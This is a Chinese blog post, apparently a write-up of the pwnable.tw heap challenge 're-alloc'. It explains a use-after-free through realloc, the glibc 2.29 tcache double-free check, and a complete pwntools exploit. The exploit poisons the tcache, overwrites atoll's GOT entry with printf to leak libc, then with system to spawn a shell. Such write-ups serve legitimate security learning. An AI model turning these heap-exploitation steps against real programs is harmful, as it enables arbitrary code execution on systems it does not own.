pwn heap: re-alloc

这道题的总体思路就是uaf + fsb, 开始以为是libc2.29的uaf + tcache double free, 后来发现没有show导致没有办法leak出libc地址,最后无从下手。后来还是从别人的博客里学到神奇的姿势。

题目描述

pwnable.tw上的一道题。

Partial RELRO,got表可以改,基本上是利用改got表来getshell了。

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled

题目提供了四个功能

1
2
3
4
1. alloc
2. realloc
3. free
4. exit

其中alloc功能相当于malloc一个chunk,但是chunk的size<=0x78, 且chunk的地址会放在bss段的heap数组上,heap数组允许至多两个成员。接受完data输入后会在末尾补上0,这里存在一个off by null,但是没有什么用。

realloc功能为更改chunk的size以及更新content内容,这里末尾不会自动补0.值得注意的是,当size为0时,相当于触发free但是对应的bss上的数组中的指针不会清0,于是这里有一个uaf可以利用。

free功能就是同时free掉chunk以及将heap数组中的指针清0

相关知识点

libc2.29的tcache double free的检测机制

1
2
3
4
5
6
7
8
9
10
11
12
13
//glibc-2.27
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;

//glibc-2.29
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
} tcache_entry;

多了一个key的成员变量。这个key的作用是什么?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
//glibc-2.27
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *) e;
}

//glibc-2.29
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache; //new

e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL; //new
return (void *) e;
}

当chunk被free到tcache中时,key会被置为第一个chunk的地址,也就是tcache的结构chunk。当chunk从tcache中取出来时,key会被设置成NULL。总而言之,就是通过key来表明这个chunk是否在tcache中。

而这个key也是libc2.29中提供的对tcache的额外的检查,即在将一个chunk放入tcache时,会检查该chunk的key是否等于tcache结构体的地址,如果是,则进一步检查tcache中是否已有地址相同的chunk,从而触发double free的检查机制。

然而仍然有绕过检查的方法,就是key不等于tcache结构体的位置即可,而这往往需要配合uaf或者chunk overlap同时利用才能做到。

realloc(ptr, size)函数

总的来说,realloc函数在size不同的情况下,可以达到malloc,edit,free三种功能:

  1. ptr == 0: malloc(size)
  2. ptr != 0 && size == 0: free(ptr)
  3. ptr != 0 && size == old_size: edit(ptr)
  4. ptr != 0 && size < old_size: edit(ptr) and free(remainder)
  5. ptr != 0 && size > old_size: new_ptr = malloc(size); strcpy(new_ptr, ptr); free(ptr); return new_ptr;

利用思路

  • 利用uaf在tcache不同size的链表中放置一个atoll_got的chunk
  • 利用其中一个指向atoll_got的chunk更改atoll_gotprintf_plt,这样在调用atoll时,就会调用printf从而构造出一个格式化字符串漏洞,利用这个漏洞可以leak出栈上的libc地址,这里选择leak__libc_start_main
  • 利用另一个指向atoll_got的chunk将atoll_got再改成system,注意因为此时atollprintf,所以在调用alloc时,需要输入的Index和Size不是直接输入数字,而是通过输入的string的长度来通过printf返回的值间接传给Index和Size。由于read的长度限制在16,因此注意这里tcache的相关chunk必须是size=0x20,否则无法利用。(可以通过”%xc”来控制printf的返回值。)
  • 最后再输入/bin/sh\x00调用atoll来执行system("/bin/sh");getshell即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
context.log_level = "debug"

def alloc(index, size, data):
p.sendlineafter("Your choice: ", "1")
p.sendlineafter("Index:", str(index))
p.sendlineafter("Size:", str(size))
p.sendafter("Data:", data)

def realloc(index, size, data):
p.sendlineafter("Your choice: ", "2")
p.sendlineafter("Index:", str(index))
p.sendlineafter("Size:", str(size))
if size != 0:
p.sendafter("Data:", data)

def free(index):
p.sendlineafter("Your choice: ", "3")
p.sendlineafter("Index:", str(index))

bss = elf.bss(0)
atoll_got = elf.got["atoll"]
atoll_plt = elf.plt["atoll"]
printf_plt = elf.plt["printf"]
libc_start_main_ret_offset = libc.symbols["__libc_start_main"] + 0xeb
system_offset = libc.symbols["system"]

# let tcache[0x20] => atoll_got
# heap[0] ==> chunk(0x18) <== heap[1]
alloc(0, 0x18, "AAA")
realloc(0, 0, "")
realloc(0, 0x18, p64(atoll_got))
alloc(1, 0x18, "BBB")

# now heap[0] == heap[1] == NULL
realloc(0, 0x38, "CCC")
free(0)
realloc(1, 0x38, "D" * 0x10)
free(1)

# let tcache[0x50] => atoll_got
# heap[0] ==> chunk(0x18) <== heap[1]
alloc(0, 0x48, "AAA")
realloc(0, 0, "")
realloc(0, 0x48, p64(atoll_got))
alloc(1, 0x48, "BBB")

# now heap[0] == heap[1] == NULL
realloc(0, 0x58, "CCC")
free(0)
realloc(1, 0x58, "D" * 0x10)
free(1)

# above all, we get two tcache point to atoll_got that can be malloc

# alloc once at heap[0]
# change the atoll_got to printf_plt
# use format string bug to leak the __libc_start_main_ret in the stack
alloc(0, 0x48, p64(printf_plt))
p.sendlineafter("Your choice: ", "3")
p.sendlineafter("Index:", "%21$llx")

libc_start_main_ret = int(p.recv(12), 16)
libc_base = libc_start_main_ret - libc_start_main_ret_offset
libc_system = libc_base + system_offset

# alloc twice at heap[1]
# since the atoll has been set to printf
# the return value of printf(which may be the length of the string) will be regarded as the "Index"
# thus we use length of the string to make "atoll" work
# then we change the atoll_got to libc_system
p.sendlineafter("Your choice: ", "1")
p.sendlineafter("Index:", "A\x00")
p.sendafter("Size:", "A" * 15 + "\x00")
p.sendafter("Data:", p64(libc_system))

# input "/bin/sh\x00" and call system(atoll) to get shell
p.sendlineafter("Your choice: ", "3")
p.sendlineafter("Index:", "/bin/sh\x00")

success("libc_start_main_ret: " + hex(libc_start_main_ret))
success("libc_base: " + hex(libc_base))
success("libc_system: " + hex(libc_system))

p.interactive()

小结

  • atoll改为printf确实是神奇的姿势(我没遇到过),从这个思路上看,貌似还可以引入本来不存在的漏洞来利用。
  • 调试的时候gef好像有点问题,peda可以用。

参考资料

  1. https://www.anquanke.com/post/id/194960
  2. https://tiencong283.ninja/post/realloc-pwnable-tw
Author: Nop
Link: https://n0nop.com/2020/03/06/pwn-heap-re-alloc/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.